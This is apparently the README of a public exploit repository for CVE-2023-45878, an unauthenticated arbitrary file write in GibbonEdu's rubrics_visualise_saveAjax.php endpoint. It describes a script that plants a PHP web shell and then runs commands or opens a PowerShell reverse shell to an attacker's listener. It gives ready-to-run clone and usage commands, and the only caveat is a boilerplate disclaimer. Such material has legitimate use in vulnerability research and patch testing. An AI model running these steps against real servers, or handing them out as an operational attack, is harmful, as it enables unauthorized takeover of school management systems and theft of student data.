
GibbonEdu Arbitrary File Write to Remote Code Execution
GibbonEdu Arbitrary File Write to Web Shell Execution
This repository contains an exploit for CVE-2023-45878, an arbitrary file write vulnerability in GibbonEdu. The vulnerability affects the rubrics_visualise_saveAjax.php endpoint and allows an unauthenticated attacker to upload arbitrary files to the web server.
This script leverages the vulnerability to upload a PHP web shell and either:
The script supports two modes of operation:
--command (-c): Execute a specific system command remotely.--shell (-s): Trigger a PowerShell reverse shell to the attacker's listener.git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878
python3 CVE-2023-45878.py -t <target_domain> -c "whoami"
python3 CVE-2023-45878.py -t <target_domain> -s -i <ip> -p <port>
This script is intended for educational purposes only. Unauthorized use of this exploit on systems without permission is illegal. The author is not responsible for any misuse or damages caused by this exploit.